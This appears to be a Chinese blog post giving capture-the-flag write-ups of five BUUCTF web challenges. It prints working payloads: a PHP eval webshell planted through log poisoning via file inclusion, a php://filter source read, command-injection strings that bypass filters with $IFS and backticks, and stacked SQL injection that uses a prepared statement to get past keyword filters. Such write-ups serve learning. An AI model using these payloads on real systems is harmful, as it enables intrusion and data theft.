首页 > 其他分享 >BUUCTF-WEB(4-8)

BUUCTF-WEB(4-8)

时间:2024-05-18 23:09:45浏览次数:18  
标签:WEB BUUCTF 执行 cmd1 cmd2 flag inject php

[ACTF2020 新生赛]Include

打开题目,是一个超链接,点击后,发现URL发生了变化

image-20240518194207544

可以看出是文件包含,包含了一个flag.php的文件

我们试着访问/etc/passwd

image-20240518194319886

我又试了试伪协议,显然是被过滤了

image-20240518194418916

然后我们就访问了一下nginx的日志,访问成功

?file=/var/log/nginx/access.log

那我们就是UA头写马吧

<?php @eval($_POST['cmd']);?>

image-20240518194742950

然后我们就用那个nginx日志的那个URL,然后连接密码为cmd,去用蚁剑连接一下

image-20240518194950622

连接成功后,在根目录找到flag,然后得出结论我是傻逼

image-20240518195823025

后来我又看了一下文件

image-20240518195938744

原来伪协议,还可以用,我们应该用伪协议去看那个flag.php的源码

就用php://filter

?file=php://filter/read=convert.base64-encode/resource=flag.php

就得到源码被base64加密后的数据,我们解密一下

image-20240518200254976

终于拿到flag了,我真要哭了

[ACTF2020 新生赛]Exec

这道题熟悉的ping,我们就复习一下命令连接符就行了

Windows和Linux都支持的命令连接符:

cmd1 | cmd2 只执行cmd2

cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行

cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2

cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2

Linux还支持分号(;),cmd1;cmd2 按顺序依次执行,先执行cmd1再执行cmd2

那我们就无需多言,直接战斗

127.0.0.1 | whoami

image-20240518200607340

直接拿下flag

127.0.0.1 | cat /flag

image-20240518200703124

[GXYCTF2019]Ping Ping Ping

参考

命令执行漏洞各种绕过方式_命令执行漏洞 变种 绕过-CSDN博客

命令执行RCE及其绕过详细总结(各情景下的绕过)_rce反弹shell绕过-CSDN博客

这道题还是PING,只不过是GET方式传参

我直接满心欢喜准备拿下

?ip=127.0.0.1 | ls

他显然过滤了空格,气的暴骂我

image-20240518201007722

那我们就绕过空格,我就不用空格了

?ip=127.0.0.1|ls

image-20240518201431858

直接索要flag,这里我发现了哈,有一些符号他也过滤了,比如小数点,单引号,双引号,括号,大括号啥的

但是能用的就是

$ - ~ \ `

他直接大骂fxxk

因为反引号可以用,而且ls已经看到了flag.php

payload

?ip=127.0.0.1|cat$IFS`ls`

然后只能回显index.php的内容,不要怀疑自己,直接看源码

image-20240518204024451

[SUCTF 2019]EasySQL

参考

[BUUCTF:SUCTF 2019]EasySQL-CSDN博客

[buuctf-SUCTF 2019]EasySQL 1(小宇特详解)-CSDN博客

这个题目就是我挺云里雾里的(我太菜了),挺多字符都被过滤之后,看到分号,然后就是尝试堆叠注入

查库名

1; show databases;

image-20240518213734983

查表名

1;use ctf;show tables;

image-20240518213831595

查列名

1;show columns from Flag;

image-20240518213939742

然后发现查不到

然后大佬们说语句就长这样(我还是不太理解),可以看一下大佬们的分析

$sql = "select ".$post['query']."||flag from Flag";

然后payload就是

*,1

image-20240518214141932

[强网杯 2019]随便注

参考:

[强网杯 2019]随便注 - chalan630 - 博客园 (cnblogs.com)

我们先判断这个数字还是字符

?inject=1' and '1'='1 正常回显
?inject=1' and '1'='2 错误回显

判断出是字符注入,然后是单引号闭合

?inject=1' order by 2--+
?inject=1' order by 3--+

image-20240518215743829

判断出是两个字段

然后继续的时候,发现过滤了一些函数

image-20240518220853790

这边我试了一下,注释符绕不过去的,所以这里我想到了堆叠注入,就是上一题学的

查库名:

?inject=1';show database;#

image-20240518222325910

查表名

?inject=1';show tables;#

image-20240518222346385

查列名

?inject=1';show columns from words;#

image-20240518222722150

?inject=1%27;show%20columns%20from%20`1919810931114514`;#
注意数据表为数字的时候需要用反引号括起来

image-20240518222929043

flag在这个数字这个表

这道题到这里,我就完全不会了,一点儿都不知道怎么给flag这个查询出来

最后的flag的payload为:

-1';
sEt @sql=CONCAT('se','lect * from `1919810931114514`;');
prEpare stmt from @sql;
execute stmt;

image-20240518224909073

标签:WEB,BUUCTF,执行,cmd1,cmd2,flag,inject,php
From: https://www.cnblogs.com/Muneyoshi/p/18199892

相关文章

  • buuctf 考毛概前复现的两道misc题
    BUUCTFmisc神奇的二维码and梅花香自苦寒来最近要考毛概,所以就匆匆写了BUUCTF上的几道题,不过积少成多,不能太心急,挑了两道让我印象比较深刻的题复现一下。神奇的二维码第一道是二维码类型的misc题,这题我只能说出题人是真的boring,是无聊到什么程度居然会想出这种题目首先把压缩......
  • 一文彻底整明白,基于Ollama工具的LLM大语言模型Web可视化对话机器人部署指南
    在上一篇博文中,我们在本地部署了Llama38B参数大模型,并用Python写了一个控制台对话客户端,基本能愉快的与Llama大模型对话聊天了。但控制台总归太技术化,体验不是很友好,我们希望能有个类似ChatGPT那样的Web聊天对话界面,本博文就安排起来……上一篇Llama38B大模型部署......
  • Weblogic T3反序列化漏洞(CVE-2018-2628)
    目录前言T3协议概述漏洞复现修复方案前言WebLogicServer是一个企业级的应用服务器,由Oracle公司开发,支持完整的JavaEE规范,包括EJB、JSP、Servlet、JMS等,适合大型分布式应用和高负载场景。T3协议概述T3协议(Two-TierTCP/IPProtocol),是WebLogic中的一种专有协议,建立在TCP/IP协......
  • [SWPUCTF 2016]Web7 利用ssrf攻击redis
    今天做了一道攻击redis的相关题目,以前没接触过。初始界面有输入框,随便输入看看。是urllib2相关库报错,去搜了搜发现是Python2的Urllib2头部注入(CVE-2016-5699)。那就看看这个cve。说是Python2.x3.x的urllib/urllib2从数据解析到发包的整个流程中,均未对URL提供安全性过滤或检查......
  • Angular2-Bootstrap4-Web-开发-全-
    Angular2Bootstrap4Web开发(全)原文:zh.annas-archive.org/md5/1998a305c23fbffe24116fac6b321687译者:飞龙协议:CCBY-NC-SA4.0前言这本书是关于当代网页开发中两个巨大和最受欢迎的名字,Angular2和Bootstrap4。Angular2是AngularJS的继任者,但在许多方面都比前任更......
  • c#2019创建webservice服务
    VS2019创建WebService服务接口 一、创建并启动项目 添加新建项 默认ASMX文件内容 启动项目,报localhost的被拦截。需要注意一下创建项目时是否开启了高级中的https,如果不记得也没有关系,直接打开项目的属性,修改Web中的项目URL,将https改为http,重新启动项目即可。 再......
  • .Net6 web API (AOP理解--ResourceFilter)
    前沿Aop(AspectorientProgramming),面向切面编程,作为面向对象编程的一种补充,可以在不破坏之前的封装为基础动态增加一些功能;从而让系统更具备扩展性:增加一个缓存功能增加一个日志功能既希望不要违背开闭原则,也希望能够增加新的工能在之前的业务逻辑之前增加了逻辑,在之前......
  • java netty 实现 websocket 服务端和客户端双向通信 实现心跳和断线重连 完整示例
    javanetty实现websocket服务端和客户端双向通信实现心跳和断线重连完整示例maven依赖<dependency><groupId>io.netty</groupId><artifactId>netty-all</artifactId><version>4.1.97.Final</version></dependency>服务端一个接口IGet......
  • ASP.NET Core Web中使用AutoMapper进行对象映射
    前言在日常开发中,我们常常需要将一个对象映射到另一个对象,这个过程中可能需要编写大量的重复性代码,如果每次都手动编写,不仅会影响开发效率,而且当项目越来越复杂、庞大的时候还容易出现错误。为了解决这个问题,对象映射库就随之而出了,这些库可以自动完成对象之间的映射,从而减少大量......
  • .Net6 web API (IOC容器内置)
    前沿内置I0C容器使用1.分层架构,上层调用下层12.具备抽象【接口和抽象类】和实现【普通类】3.注册抽象和具体之间的关系4.通过构造函数注入【内置容器仅支持构造函数注入】 IOC容器的主要作用是管理应用程序中的各种服务、组件和依赖关系,并在需要时将它们注入到其他组件......